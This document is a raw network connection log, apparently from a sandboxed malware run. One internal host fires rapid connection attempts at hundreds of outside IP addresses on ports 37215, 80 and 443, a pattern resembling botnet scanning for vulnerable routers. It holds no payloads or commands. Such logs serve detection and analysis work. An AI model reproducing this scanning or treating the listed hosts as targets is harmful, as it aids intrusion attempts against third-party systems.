Oct 17, 2024 02:19:41.056870937 CEST	20644	37215	192.168.2.14	41.6.117.27
Oct 17, 2024 02:19:41.056871891 CEST	20646	80	192.168.2.14	207.13.2.222
Oct 17, 2024 02:19:41.056873083 CEST	20644	37215	192.168.2.14	197.192.132.151
Oct 17, 2024 02:19:41.056874037 CEST	20644	37215	192.168.2.14	156.154.137.128
Oct 17, 2024 02:19:41.056890965 CEST	20644	37215	192.168.2.14	41.78.42.126
Oct 17, 2024 02:19:41.056895971 CEST	80	20646	20.85.50.244	192.168.2.14
Oct 17, 2024 02:19:41.056912899 CEST	20644	37215	192.168.2.14	156.89.241.31
Oct 17, 2024 02:19:41.056912899 CEST	20644	37215	192.168.2.14	197.81.5.137
Oct 17, 2024 02:19:41.056916952 CEST	20644	37215	192.168.2.14	156.173.125.147
Oct 17, 2024 02:19:41.056920052 CEST	20646	80	192.168.2.14	168.194.198.88
Oct 17, 2024 02:19:41.056920052 CEST	20644	37215	192.168.2.14	197.56.88.82
Oct 17, 2024 02:19:41.056922913 CEST	20644	37215	192.168.2.14	41.154.99.16
Oct 17, 2024 02:19:41.056924105 CEST	80	20646	90.200.42.216	192.168.2.14
Oct 17, 2024 02:19:41.056926966 CEST	20644	37215	192.168.2.14	156.205.121.162
Oct 17, 2024 02:19:41.056930065 CEST	20644	37215	192.168.2.14	41.43.120.9
Oct 17, 2024 02:19:41.056936979 CEST	20646	80	192.168.2.14	20.85.50.244
Oct 17, 2024 02:19:41.056941986 CEST	20644	37215	192.168.2.14	197.225.98.71
Oct 17, 2024 02:19:41.056941986 CEST	20644	37215	192.168.2.14	41.77.68.9
Oct 17, 2024 02:19:41.056952953 CEST	20644	37215	192.168.2.14	41.59.212.164
Oct 17, 2024 02:19:41.056953907 CEST	80	20646	137.25.222.92	192.168.2.14
Oct 17, 2024 02:19:41.056967020 CEST	20646	80	192.168.2.14	90.200.42.216
Oct 17, 2024 02:19:41.056982994 CEST	80	20646	60.251.57.210	192.168.2.14
Oct 17, 2024 02:19:41.056986094 CEST	20644	37215	192.168.2.14	197.133.89.106
Oct 17, 2024 02:19:41.056991100 CEST	20646	80	192.168.2.14	137.25.222.92
Oct 17, 2024 02:19:41.056992054 CEST	20644	37215	192.168.2.14	197.21.63.110
Oct 17, 2024 02:19:41.056993008 CEST	20644	37215	192.168.2.14	197.229.153.174
Oct 17, 2024 02:19:41.057013988 CEST	80	20646	121.133.102.217	192.168.2.14
Oct 17, 2024 02:19:41.057030916 CEST	20646	80	192.168.2.14	60.251.57.210
Oct 17, 2024 02:19:41.057044029 CEST	80	20646	112.9.61.250	192.168.2.14
Oct 17, 2024 02:19:41.057054996 CEST	20646	80	192.168.2.14	121.133.102.217
Oct 17, 2024 02:19:41.057074070 CEST	80	20646	32.11.59.94	192.168.2.14
Oct 17, 2024 02:19:41.057101965 CEST	80	20646	202.1.21.42	192.168.2.14
Oct 17, 2024 02:19:41.057101965 CEST	20644	37215	192.168.2.14	156.199.137.26
Oct 17, 2024 02:19:41.057109118 CEST	20644	37215	192.168.2.14	156.132.236.123
Oct 17, 2024 02:19:41.057109118 CEST	20644	37215	192.168.2.14	156.240.21.82
Oct 17, 2024 02:19:41.057112932 CEST	20646	80	192.168.2.14	112.9.61.250
Oct 17, 2024 02:19:41.057118893 CEST	20644	37215	192.168.2.14	41.253.60.117
Oct 17, 2024 02:19:41.057123899 CEST	20644	37215	192.168.2.14	156.15.214.3
Oct 17, 2024 02:19:41.057128906 CEST	20646	80	192.168.2.14	32.11.59.94
Oct 17, 2024 02:19:41.057130098 CEST	80	20646	175.121.127.47	192.168.2.14
Oct 17, 2024 02:19:41.057132006 CEST	20644	37215	192.168.2.14	41.115.67.72
Oct 17, 2024 02:19:41.057132006 CEST	20644	37215	192.168.2.14	156.177.173.26
Oct 17, 2024 02:19:41.057136059 CEST	20644	37215	192.168.2.14	156.61.114.214
Oct 17, 2024 02:19:41.057148933 CEST	20646	80	192.168.2.14	202.1.21.42
Oct 17, 2024 02:19:41.057159901 CEST	80	20646	52.136.19.193	192.168.2.14
Oct 17, 2024 02:19:41.057180882 CEST	20646	80	192.168.2.14	175.121.127.47
Oct 17, 2024 02:19:41.057188034 CEST	80	20646	155.94.182.220	192.168.2.14
Oct 17, 2024 02:19:41.057209015 CEST	20646	80	192.168.2.14	52.136.19.193
Oct 17, 2024 02:19:41.057216883 CEST	80	20646	186.79.56.107	192.168.2.14
Oct 17, 2024 02:19:41.057239056 CEST	20644	37215	192.168.2.14	156.168.93.183
Oct 17, 2024 02:19:41.057241917 CEST	20646	80	192.168.2.14	155.94.182.220
Oct 17, 2024 02:19:41.057245016 CEST	80	20646	69.88.12.99	192.168.2.14
Oct 17, 2024 02:19:41.057250977 CEST	20644	37215	192.168.2.14	41.44.206.15
Oct 17, 2024 02:19:41.057261944 CEST	20646	80	192.168.2.14	186.79.56.107
Oct 17, 2024 02:19:41.057271004 CEST	20644	37215	192.168.2.14	41.227.55.12
Oct 17, 2024 02:19:41.057275057 CEST	80	20646	97.251.41.191	192.168.2.14
Oct 17, 2024 02:19:41.057280064 CEST	20644	37215	192.168.2.14	41.213.91.206
Oct 17, 2024 02:19:41.057288885 CEST	20644	37215	192.168.2.14	197.237.64.184
Oct 17, 2024 02:19:41.057305098 CEST	80	20646	57.126.121.131	192.168.2.14
Oct 17, 2024 02:19:41.057313919 CEST	20646	80	192.168.2.14	69.88.12.99
Oct 17, 2024 02:19:41.057321072 CEST	20646	80	192.168.2.14	97.251.41.191
Oct 17, 2024 02:19:41.057334900 CEST	80	20646	147.141.12.81	192.168.2.14
Oct 17, 2024 02:19:41.057357073 CEST	20646	80	192.168.2.14	57.126.121.131
Oct 17, 2024 02:19:41.057360888 CEST	20644	37215	192.168.2.14	41.101.58.171
Oct 17, 2024 02:19:41.057365894 CEST	80	20646	163.173.140.161	192.168.2.14
Oct 17, 2024 02:19:41.057379961 CEST	20646	80	192.168.2.14	147.141.12.81
Oct 17, 2024 02:19:41.057379961 CEST	20644	37215	192.168.2.14	156.210.43.65
Oct 17, 2024 02:19:41.057384014 CEST	20644	37215	192.168.2.14	197.34.88.5
Oct 17, 2024 02:19:41.057384014 CEST	20644	37215	192.168.2.14	41.53.156.225
Oct 17, 2024 02:19:41.057384014 CEST	20644	37215	192.168.2.14	41.193.240.118
Oct 17, 2024 02:19:41.057395935 CEST	80	20646	217.245.3.20	192.168.2.14
Oct 17, 2024 02:19:41.057406902 CEST	20646	80	192.168.2.14	163.173.140.161
Oct 17, 2024 02:19:41.057406902 CEST	20644	37215	192.168.2.14	197.229.228.250
Oct 17, 2024 02:19:41.057424068 CEST	20644	37215	192.168.2.14	41.96.23.70
Oct 17, 2024 02:19:41.057429075 CEST	80	20646	186.23.83.215	192.168.2.14
Oct 17, 2024 02:19:41.057456970 CEST	20646	80	192.168.2.14	217.245.3.20
Oct 17, 2024 02:19:41.057466984 CEST	80	20646	162.194.173.57	192.168.2.14
Oct 17, 2024 02:19:41.057468891 CEST	20644	37215	192.168.2.14	156.84.184.7
Oct 17, 2024 02:19:41.057477951 CEST	20646	80	192.168.2.14	186.23.83.215
Oct 17, 2024 02:19:41.057497025 CEST	80	20646	143.106.111.6	192.168.2.14
Oct 17, 2024 02:19:41.057516098 CEST	20646	80	192.168.2.14	162.194.173.57
Oct 17, 2024 02:19:41.057526112 CEST	80	20646	144.211.211.75	192.168.2.14
Oct 17, 2024 02:19:41.057538033 CEST	20646	80	192.168.2.14	143.106.111.6
Oct 17, 2024 02:19:41.057555914 CEST	80	20646	195.163.167.163	192.168.2.14
Oct 17, 2024 02:19:41.057566881 CEST	20646	80	192.168.2.14	144.211.211.75
Oct 17, 2024 02:19:41.057574987 CEST	20644	37215	192.168.2.14	41.207.86.104
Oct 17, 2024 02:19:41.057585955 CEST	80	20646	53.248.153.108	192.168.2.14
Oct 17, 2024 02:19:41.057600021 CEST	20644	37215	192.168.2.14	156.151.91.242
Oct 17, 2024 02:19:41.057600021 CEST	20646	80	192.168.2.14	195.163.167.163
Oct 17, 2024 02:19:41.057614088 CEST	80	20646	178.130.161.205	192.168.2.14
Oct 17, 2024 02:19:41.057636023 CEST	20644	37215	192.168.2.14	41.21.164.137
Oct 17, 2024 02:19:41.057642937 CEST	80	20646	122.27.168.125	192.168.2.14
Oct 17, 2024 02:19:41.057651997 CEST	20646	80	192.168.2.14	178.130.161.205
Oct 17, 2024 02:19:41.057661057 CEST	20644	37215	192.168.2.14	197.249.131.168
Oct 17, 2024 02:19:41.057671070 CEST	20646	80	192.168.2.14	53.248.153.108
Oct 17, 2024 02:19:41.057672024 CEST	80	20646	106.27.190.114	192.168.2.14
Oct 17, 2024 02:19:41.057677984 CEST	20646	80	192.168.2.14	122.27.168.125
Oct 17, 2024 02:19:41.057701111 CEST	80	20646	194.48.144.36	192.168.2.14
Oct 17, 2024 02:19:41.057729959 CEST	80	20646	5.176.209.94	192.168.2.14
Oct 17, 2024 02:19:41.057735920 CEST	20646	80	192.168.2.14	106.27.190.114
Oct 17, 2024 02:19:41.057759047 CEST	80	20646	65.47.162.146	192.168.2.14
Oct 17, 2024 02:19:41.057787895 CEST	80	20646	74.32.193.107	192.168.2.14
Oct 17, 2024 02:19:41.057801008 CEST	20646	80	192.168.2.14	65.47.162.146
Oct 17, 2024 02:19:41.057816982 CEST	80	20646	60.57.159.244	192.168.2.14
Oct 17, 2024 02:19:41.057825089 CEST	20646	80	192.168.2.14	194.48.144.36
Oct 17, 2024 02:19:41.057826996 CEST	20646	80	192.168.2.14	5.176.209.94
Oct 17, 2024 02:19:41.057836056 CEST	20646	80	192.168.2.14	74.32.193.107
Oct 17, 2024 02:19:41.057846069 CEST	80	20646	70.29.212.87	192.168.2.14
Oct 17, 2024 02:19:41.057858944 CEST	20646	80	192.168.2.14	60.57.159.244
Oct 17, 2024 02:19:41.057874918 CEST	80	20646	70.23.140.153	192.168.2.14
Oct 17, 2024 02:19:41.057904005 CEST	80	20646	198.151.255.9	192.168.2.14
Oct 17, 2024 02:19:41.057905912 CEST	20646	80	192.168.2.14	70.29.212.87
Oct 17, 2024 02:19:41.057934046 CEST	80	20646	149.34.202.1	192.168.2.14
Oct 17, 2024 02:19:41.057940006 CEST	20646	80	192.168.2.14	70.23.140.153
Oct 17, 2024 02:19:41.057946920 CEST	20646	80	192.168.2.14	198.151.255.9
Oct 17, 2024 02:19:41.057962894 CEST	80	20646	117.60.202.210	192.168.2.14
Oct 17, 2024 02:19:41.057977915 CEST	20646	80	192.168.2.14	149.34.202.1
Oct 17, 2024 02:19:41.057977915 CEST	20644	37215	192.168.2.14	156.195.89.159
Oct 17, 2024 02:19:41.057986975 CEST	20644	37215	192.168.2.14	41.63.69.174
Oct 17, 2024 02:19:41.057991028 CEST	20644	37215	192.168.2.14	41.31.153.180
Oct 17, 2024 02:19:41.057991982 CEST	80	20646	87.38.163.168	192.168.2.14
Oct 17, 2024 02:19:41.057996035 CEST	20644	37215	192.168.2.14	197.64.100.22
Oct 17, 2024 02:19:41.058001995 CEST	20646	80	192.168.2.14	117.60.202.210
Oct 17, 2024 02:19:41.058027029 CEST	20644	37215	192.168.2.14	41.175.177.199
Oct 17, 2024 02:19:41.058027029 CEST	20644	37215	192.168.2.14	156.143.58.163
Oct 17, 2024 02:19:41.058027983 CEST	80	20646	211.191.215.160	192.168.2.14
Oct 17, 2024 02:19:41.058048010 CEST	20644	37215	192.168.2.14	156.181.176.211
Oct 17, 2024 02:19:41.058053017 CEST	20644	37215	192.168.2.14	197.85.47.182
Oct 17, 2024 02:19:41.058053017 CEST	20646	80	192.168.2.14	87.38.163.168
Oct 17, 2024 02:19:41.058058023 CEST	80	20646	179.200.221.24	192.168.2.14
Oct 17, 2024 02:19:41.058064938 CEST	20644	37215	192.168.2.14	41.60.87.144
Oct 17, 2024 02:19:41.058064938 CEST	20646	80	192.168.2.14	211.191.215.160
Oct 17, 2024 02:19:41.058064938 CEST	20644	37215	192.168.2.14	197.208.196.101
Oct 17, 2024 02:19:41.058082104 CEST	20644	37215	192.168.2.14	197.207.228.181
Oct 17, 2024 02:19:41.058082104 CEST	20644	37215	192.168.2.14	197.147.148.151
Oct 17, 2024 02:19:41.058087111 CEST	80	20646	23.108.196.223	192.168.2.14
Oct 17, 2024 02:19:41.058093071 CEST	20646	80	192.168.2.14	179.200.221.24
Oct 17, 2024 02:19:41.058101892 CEST	20644	37215	192.168.2.14	197.70.137.125
Oct 17, 2024 02:19:41.058110952 CEST	20644	37215	192.168.2.14	156.251.244.106
Oct 17, 2024 02:19:41.058119059 CEST	80	20646	134.64.88.117	192.168.2.14
Oct 17, 2024 02:19:41.058126926 CEST	20644	37215	192.168.2.14	156.144.13.113
Oct 17, 2024 02:19:41.058128119 CEST	20644	37215	192.168.2.14	156.47.130.237
Oct 17, 2024 02:19:41.058139086 CEST	20644	37215	192.168.2.14	197.110.245.226
Oct 17, 2024 02:19:41.058139086 CEST	20644	37215	192.168.2.14	41.215.132.174
Oct 17, 2024 02:19:41.058139086 CEST	20644	37215	192.168.2.14	156.165.6.52
Oct 17, 2024 02:19:41.058140993 CEST	20644	37215	192.168.2.14	197.47.152.101
Oct 17, 2024 02:19:41.058141947 CEST	20644	37215	192.168.2.14	156.214.166.49
Oct 17, 2024 02:19:41.058145046 CEST	20646	80	192.168.2.14	23.108.196.223
Oct 17, 2024 02:19:41.058145046 CEST	20644	37215	192.168.2.14	41.38.133.173
Oct 17, 2024 02:19:41.058155060 CEST	80	20646	12.151.93.74	192.168.2.14
Oct 17, 2024 02:19:41.058157921 CEST	20646	80	192.168.2.14	134.64.88.117
Oct 17, 2024 02:19:41.058180094 CEST	20644	37215	192.168.2.14	41.234.38.0
Oct 17, 2024 02:19:41.058180094 CEST	20644	37215	192.168.2.14	41.237.169.219
Oct 17, 2024 02:19:41.058181047 CEST	20644	37215	192.168.2.14	156.223.229.103
Oct 17, 2024 02:19:41.058182001 CEST	20644	37215	192.168.2.14	197.116.170.139
Oct 17, 2024 02:19:41.058181047 CEST	20644	37215	192.168.2.14	156.87.209.19
Oct 17, 2024 02:19:41.058182955 CEST	20644	37215	192.168.2.14	197.219.9.11
Oct 17, 2024 02:19:41.058182955 CEST	20644	37215	192.168.2.14	41.247.190.84
Oct 17, 2024 02:19:41.058183908 CEST	20644	37215	192.168.2.14	156.132.179.248
Oct 17, 2024 02:19:41.058183908 CEST	20644	37215	192.168.2.14	41.5.66.232
Oct 17, 2024 02:19:41.058182955 CEST	20644	37215	192.168.2.14	156.232.140.35
Oct 17, 2024 02:19:41.058183908 CEST	20644	37215	192.168.2.14	41.113.151.88
Oct 17, 2024 02:19:41.058185101 CEST	80	20646	46.155.241.200	192.168.2.14
Oct 17, 2024 02:19:41.058183908 CEST	20644	37215	192.168.2.14	41.188.80.162
Oct 17, 2024 02:19:41.058209896 CEST	20646	80	192.168.2.14	12.151.93.74
Oct 17, 2024 02:19:41.058213949 CEST	20644	37215	192.168.2.14	41.228.197.11
Oct 17, 2024 02:19:41.058214903 CEST	20644	37215	192.168.2.14	156.15.35.174
Oct 17, 2024 02:19:41.058214903 CEST	20644	37215	192.168.2.14	156.46.43.164
Oct 17, 2024 02:19:41.058214903 CEST	20644	37215	192.168.2.14	41.128.171.141
Oct 17, 2024 02:19:41.058218002 CEST	80	20646	180.21.223.246	192.168.2.14
Oct 17, 2024 02:19:41.058229923 CEST	20644	37215	192.168.2.14	41.2.137.174
Oct 17, 2024 02:19:41.058248043 CEST	80	20646	163.199.219.72	192.168.2.14
Oct 17, 2024 02:19:41.058259964 CEST	20646	80	192.168.2.14	180.21.223.246
Oct 17, 2024 02:19:41.058275938 CEST	80	20646	221.147.220.52	192.168.2.14
Oct 17, 2024 02:19:41.058284998 CEST	20646	80	192.168.2.14	46.155.241.200
Oct 17, 2024 02:19:41.058284998 CEST	20646	80	192.168.2.14	163.199.219.72
Oct 17, 2024 02:19:41.058305979 CEST	80	20646	209.239.213.18	192.168.2.14
Oct 17, 2024 02:19:41.058334112 CEST	80	20646	209.128.30.35	192.168.2.14
Oct 17, 2024 02:19:41.058343887 CEST	20646	80	192.168.2.14	221.147.220.52
Oct 17, 2024 02:19:41.058343887 CEST	20646	80	192.168.2.14	209.239.213.18
Oct 17, 2024 02:19:41.058363914 CEST	80	20646	36.160.16.253	192.168.2.14
Oct 17, 2024 02:19:41.058393002 CEST	80	20646	132.64.197.252	192.168.2.14
Oct 17, 2024 02:19:41.058399916 CEST	20646	80	192.168.2.14	209.128.30.35
Oct 17, 2024 02:19:41.058402061 CEST	20646	80	192.168.2.14	36.160.16.253
Oct 17, 2024 02:19:41.058423042 CEST	80	20646	148.185.62.200	192.168.2.14
Oct 17, 2024 02:19:41.058434010 CEST	20646	80	192.168.2.14	132.64.197.252
Oct 17, 2024 02:19:41.058456898 CEST	80	20646	25.52.7.195	192.168.2.14
Oct 17, 2024 02:19:41.058470964 CEST	20646	80	192.168.2.14	148.185.62.200
Oct 17, 2024 02:19:41.058485985 CEST	80	20646	96.22.230.83	192.168.2.14
Oct 17, 2024 02:19:41.058505058 CEST	20646	80	192.168.2.14	25.52.7.195
Oct 17, 2024 02:19:41.058515072 CEST	80	20646	167.117.200.59	192.168.2.14
Oct 17, 2024 02:19:41.058541059 CEST	20646	80	192.168.2.14	96.22.230.83
Oct 17, 2024 02:19:41.058545113 CEST	80	20646	212.100.217.43	192.168.2.14
Oct 17, 2024 02:19:41.058548927 CEST	20646	80	192.168.2.14	167.117.200.59
Oct 17, 2024 02:19:41.058573008 CEST	80	20646	77.192.96.231	192.168.2.14
Oct 17, 2024 02:19:41.058588028 CEST	20646	80	192.168.2.14	212.100.217.43
Oct 17, 2024 02:19:41.058602095 CEST	80	20646	115.65.80.18	192.168.2.14
Oct 17, 2024 02:19:41.058614969 CEST	20646	80	192.168.2.14	77.192.96.231
Oct 17, 2024 02:19:41.058646917 CEST	20646	80	192.168.2.14	115.65.80.18
Oct 17, 2024 02:19:41.058664083 CEST	80	20646	119.188.95.244	192.168.2.14
Oct 17, 2024 02:19:41.058692932 CEST	80	20646	178.247.102.12	192.168.2.14
Oct 17, 2024 02:19:41.058722019 CEST	80	20646	129.205.54.121	192.168.2.14
Oct 17, 2024 02:19:41.058731079 CEST	20646	80	192.168.2.14	119.188.95.244
Oct 17, 2024 02:19:41.058731079 CEST	20646	80	192.168.2.14	178.247.102.12
Oct 17, 2024 02:19:41.058751106 CEST	80	20646	78.114.185.243	192.168.2.14
Oct 17, 2024 02:19:41.058773041 CEST	20646	80	192.168.2.14	129.205.54.121
Oct 17, 2024 02:19:41.058779955 CEST	80	20646	98.41.180.122	192.168.2.14
Oct 17, 2024 02:19:41.058792114 CEST	20646	80	192.168.2.14	78.114.185.243
Oct 17, 2024 02:19:41.058811903 CEST	80	20646	162.148.153.221	192.168.2.14
Oct 17, 2024 02:19:41.058820009 CEST	20646	80	192.168.2.14	98.41.180.122
Oct 17, 2024 02:19:41.058845043 CEST	80	20646	186.131.224.227	192.168.2.14
Oct 17, 2024 02:19:41.058851004 CEST	20646	80	192.168.2.14	162.148.153.221
Oct 17, 2024 02:19:41.058873892 CEST	80	20646	95.0.46.191	192.168.2.14
Oct 17, 2024 02:19:41.058896065 CEST	20646	80	192.168.2.14	186.131.224.227
Oct 17, 2024 02:19:41.058902979 CEST	80	20646	156.244.253.66	192.168.2.14
Oct 17, 2024 02:19:41.058917046 CEST	20646	80	192.168.2.14	95.0.46.191
Oct 17, 2024 02:19:41.058931112 CEST	80	20646	175.233.233.82	192.168.2.14
Oct 17, 2024 02:19:41.058949947 CEST	20646	80	192.168.2.14	156.244.253.66
Oct 17, 2024 02:19:41.058959961 CEST	80	20646	188.91.246.142	192.168.2.14
Oct 17, 2024 02:19:41.058973074 CEST	20646	80	192.168.2.14	175.233.233.82
Oct 17, 2024 02:19:41.058989048 CEST	80	20646	119.247.237.195	192.168.2.14
Oct 17, 2024 02:19:41.059000969 CEST	20646	80	192.168.2.14	188.91.246.142
Oct 17, 2024 02:19:41.059019089 CEST	80	20646	136.120.28.97	192.168.2.14
Oct 17, 2024 02:19:41.059041977 CEST	20646	80	192.168.2.14	119.247.237.195
Oct 17, 2024 02:19:41.059047937 CEST	80	20646	187.227.210.237	192.168.2.14
Oct 17, 2024 02:19:41.059058905 CEST	20646	80	192.168.2.14	136.120.28.97
Oct 17, 2024 02:19:41.059076071 CEST	80	20646	201.172.176.111	192.168.2.14
Oct 17, 2024 02:19:41.059087038 CEST	20646	80	192.168.2.14	187.227.210.237
Oct 17, 2024 02:19:41.059104919 CEST	80	20646	200.23.35.209	192.168.2.14
Oct 17, 2024 02:19:41.059120893 CEST	20646	80	192.168.2.14	201.172.176.111
Oct 17, 2024 02:19:41.059134007 CEST	80	20646	154.95.3.50	192.168.2.14
Oct 17, 2024 02:19:41.059165955 CEST	80	20646	119.78.208.204	192.168.2.14
Oct 17, 2024 02:19:41.059195995 CEST	80	20646	164.78.102.220	192.168.2.14
Oct 17, 2024 02:19:41.059204102 CEST	20646	80	192.168.2.14	200.23.35.209
Oct 17, 2024 02:19:41.059205055 CEST	20646	80	192.168.2.14	154.95.3.50
Oct 17, 2024 02:19:41.059206009 CEST	20646	80	192.168.2.14	119.78.208.204
Oct 17, 2024 02:19:41.059225082 CEST	80	20646	163.169.40.216	192.168.2.14
Oct 17, 2024 02:19:41.059254885 CEST	80	20646	112.86.57.187	192.168.2.14
Oct 17, 2024 02:19:41.059272051 CEST	20646	80	192.168.2.14	163.169.40.216
Oct 17, 2024 02:19:41.059283018 CEST	80	20646	143.90.220.190	192.168.2.14
Oct 17, 2024 02:19:41.059300900 CEST	20646	80	192.168.2.14	164.78.102.220
Oct 17, 2024 02:19:41.059302092 CEST	20646	80	192.168.2.14	112.86.57.187
Oct 17, 2024 02:19:41.059310913 CEST	80	20646	158.161.249.229	192.168.2.14
Oct 17, 2024 02:19:41.059340954 CEST	80	20646	12.241.125.1	192.168.2.14
Oct 17, 2024 02:19:41.059369087 CEST	80	20646	87.186.36.29	192.168.2.14
Oct 17, 2024 02:19:41.059372902 CEST	20646	80	192.168.2.14	143.90.220.190
Oct 17, 2024 02:19:41.059374094 CEST	20646	80	192.168.2.14	158.161.249.229
Oct 17, 2024 02:19:41.059381008 CEST	20646	80	192.168.2.14	12.241.125.1
Oct 17, 2024 02:19:41.059423923 CEST	20646	80	192.168.2.14	87.186.36.29
Oct 17, 2024 02:19:41.059432983 CEST	80	20646	194.68.119.252	192.168.2.14
Oct 17, 2024 02:19:41.059463024 CEST	80	20646	121.172.207.133	192.168.2.14
Oct 17, 2024 02:19:41.059492111 CEST	80	20646	114.116.10.200	192.168.2.14
Oct 17, 2024 02:19:41.059505939 CEST	20646	80	192.168.2.14	194.68.119.252
Oct 17, 2024 02:19:41.059505939 CEST	20646	80	192.168.2.14	121.172.207.133
Oct 17, 2024 02:19:41.059523106 CEST	80	20646	43.21.92.170	192.168.2.14
Oct 17, 2024 02:19:41.059534073 CEST	20646	80	192.168.2.14	114.116.10.200
Oct 17, 2024 02:19:41.059561968 CEST	80	20646	86.43.205.69	192.168.2.14
Oct 17, 2024 02:19:41.059566975 CEST	20646	80	192.168.2.14	43.21.92.170
Oct 17, 2024 02:19:41.059590101 CEST	80	20646	117.41.206.152	192.168.2.14
Oct 17, 2024 02:19:41.059602022 CEST	20646	80	192.168.2.14	86.43.205.69
Oct 17, 2024 02:19:41.059619904 CEST	80	20646	4.1.182.38	192.168.2.14
Oct 17, 2024 02:19:41.059629917 CEST	20646	80	192.168.2.14	117.41.206.152
Oct 17, 2024 02:19:41.059648991 CEST	80	20646	91.27.120.122	192.168.2.14
Oct 17, 2024 02:19:41.059662104 CEST	20646	80	192.168.2.14	4.1.182.38
Oct 17, 2024 02:19:41.059678078 CEST	80	20646	38.136.129.243	192.168.2.14
Oct 17, 2024 02:19:41.059689045 CEST	20646	80	192.168.2.14	91.27.120.122
Oct 17, 2024 02:19:41.059698105 CEST	80	20646	53.51.153.5	192.168.2.14
Oct 17, 2024 02:19:41.059710979 CEST	80	20646	109.66.110.33	192.168.2.14
Oct 17, 2024 02:19:41.059720039 CEST	20646	80	192.168.2.14	38.136.129.243
Oct 17, 2024 02:19:41.059726954 CEST	80	20646	148.158.180.198	192.168.2.14
Oct 17, 2024 02:19:41.059727907 CEST	45122	59666	192.168.2.14	92.249.48.84
Oct 17, 2024 02:19:41.059727907 CEST	20646	80	192.168.2.14	53.51.153.5
Oct 17, 2024 02:19:41.059741020 CEST	80	20646	218.145.129.51	192.168.2.14
Oct 17, 2024 02:19:41.059751987 CEST	20646	80	192.168.2.14	109.66.110.33
Oct 17, 2024 02:19:41.059755087 CEST	80	20646	177.136.92.165	192.168.2.14
Oct 17, 2024 02:19:41.059767962 CEST	20646	80	192.168.2.14	148.158.180.198
Oct 17, 2024 02:19:41.059768915 CEST	80	20646	17.122.166.217	192.168.2.14
Oct 17, 2024 02:19:41.059777021 CEST	20646	80	192.168.2.14	218.145.129.51
Oct 17, 2024 02:19:41.059783936 CEST	80	20646	188.250.179.38	192.168.2.14
Oct 17, 2024 02:19:41.059798956 CEST	80	20646	63.79.247.38	192.168.2.14
Oct 17, 2024 02:19:41.059813023 CEST	80	20646	138.91.201.182	192.168.2.14
Oct 17, 2024 02:19:41.059812069 CEST	20646	80	192.168.2.14	17.122.166.217
Oct 17, 2024 02:19:41.059828043 CEST	80	20646	208.207.119.134	192.168.2.14
Oct 17, 2024 02:19:41.059833050 CEST	20646	80	192.168.2.14	63.79.247.38
Oct 17, 2024 02:19:41.059843063 CEST	80	20646	14.237.170.133	192.168.2.14
Oct 17, 2024 02:19:41.059855938 CEST	20646	80	192.168.2.14	138.91.201.182
Oct 17, 2024 02:19:41.059856892 CEST	80	20646	101.123.107.119	192.168.2.14
Oct 17, 2024 02:19:41.059870958 CEST	80	20646	149.208.111.249	192.168.2.14
Oct 17, 2024 02:19:41.059875011 CEST	20646	80	192.168.2.14	14.237.170.133
Oct 17, 2024 02:19:41.059885025 CEST	80	20646	69.92.11.190	192.168.2.14
Oct 17, 2024 02:19:41.059895039 CEST	20646	80	192.168.2.14	101.123.107.119
Oct 17, 2024 02:19:41.059899092 CEST	80	20646	213.53.246.91	192.168.2.14
Oct 17, 2024 02:19:41.059911013 CEST	20646	80	192.168.2.14	208.207.119.134
Oct 17, 2024 02:19:41.059911966 CEST	80	20646	129.150.179.203	192.168.2.14
Oct 17, 2024 02:19:41.059915066 CEST	20646	80	192.168.2.14	149.208.111.249
Oct 17, 2024 02:19:41.059917927 CEST	20646	80	192.168.2.14	177.136.92.165
Oct 17, 2024 02:19:41.059917927 CEST	20646	80	192.168.2.14	188.250.179.38
Oct 17, 2024 02:19:41.059926033 CEST	80	20646	205.137.136.50	192.168.2.14
Oct 17, 2024 02:19:41.059926987 CEST	20646	80	192.168.2.14	69.92.11.190
Oct 17, 2024 02:19:41.059942961 CEST	80	20646	200.249.109.225	192.168.2.14
Oct 17, 2024 02:19:41.059947968 CEST	20646	80	192.168.2.14	213.53.246.91
Oct 17, 2024 02:19:41.059947968 CEST	20646	80	192.168.2.14	129.150.179.203
Oct 17, 2024 02:19:41.059959888 CEST	20646	80	192.168.2.14	205.137.136.50
Oct 17, 2024 02:19:41.059961081 CEST	80	20646	91.220.106.220	192.168.2.14
Oct 17, 2024 02:19:41.059976101 CEST	20646	80	192.168.2.14	200.249.109.225
Oct 17, 2024 02:19:41.060025930 CEST	20646	80	192.168.2.14	91.220.106.220
Oct 17, 2024 02:19:41.060811043 CEST	20641	443	192.168.2.14	117.184.202.170
Oct 17, 2024 02:19:41.060836077 CEST	443	20641	117.184.202.170	192.168.2.14
Oct 17, 2024 02:19:41.060839891 CEST	20641	443	192.168.2.14	79.190.212.164
Oct 17, 2024 02:19:41.060846090 CEST	20641	443	192.168.2.14	212.121.47.170
Oct 17, 2024 02:19:41.060846090 CEST	20641	443	192.168.2.14	148.33.194.26
Oct 17, 2024 02:19:41.060846090 CEST	20641	443	192.168.2.14	2.120.3.224
Oct 17, 2024 02:19:41.060859919 CEST	443	20641	79.190.212.164	192.168.2.14
Oct 17, 2024 02:19:41.060859919 CEST	20641	443	192.168.2.14	148.154.0.157
Oct 17, 2024 02:19:41.060872078 CEST	20641	443	192.168.2.14	37.198.75.176
Oct 17, 2024 02:19:41.060880899 CEST	20641	443	192.168.2.14	212.2.161.173
Oct 17, 2024 02:19:41.060880899 CEST	20641	443	192.168.2.14	117.184.202.170
Oct 17, 2024 02:19:41.060884953 CEST	20641	443	192.168.2.14	79.68.150.189
Oct 17, 2024 02:19:41.060903072 CEST	20641	443	192.168.2.14	79.190.212.164
Oct 17, 2024 02:19:41.060904980 CEST	20641	443	192.168.2.14	212.14.178.114
Oct 17, 2024 02:19:41.060910940 CEST	20641	443	192.168.2.14	94.254.142.163
Oct 17, 2024 02:19:41.060918093 CEST	443	20641	212.14.178.114	192.168.2.14
Oct 17, 2024 02:19:41.060920954 CEST	20641	443	192.168.2.14	210.223.79.232
Oct 17, 2024 02:19:41.060920954 CEST	20641	443	192.168.2.14	118.253.42.53
Oct 17, 2024 02:19:41.060920954 CEST	20641	443	192.168.2.14	109.86.235.87
Oct 17, 2024 02:19:41.060920954 CEST	20641	443	192.168.2.14	42.134.47.176
Oct 17, 2024 02:19:41.060926914 CEST	443	20641	94.254.142.163	192.168.2.14
Oct 17, 2024 02:19:41.060935020 CEST	20641	443	192.168.2.14	212.60.66.16
Oct 17, 2024 02:19:41.060940027 CEST	20641	443	192.168.2.14	2.145.78.129
Oct 17, 2024 02:19:41.060940027 CEST	20641	443	192.168.2.14	178.176.33.253
Oct 17, 2024 02:19:41.060940981 CEST	20641	443	192.168.2.14	212.201.183.181
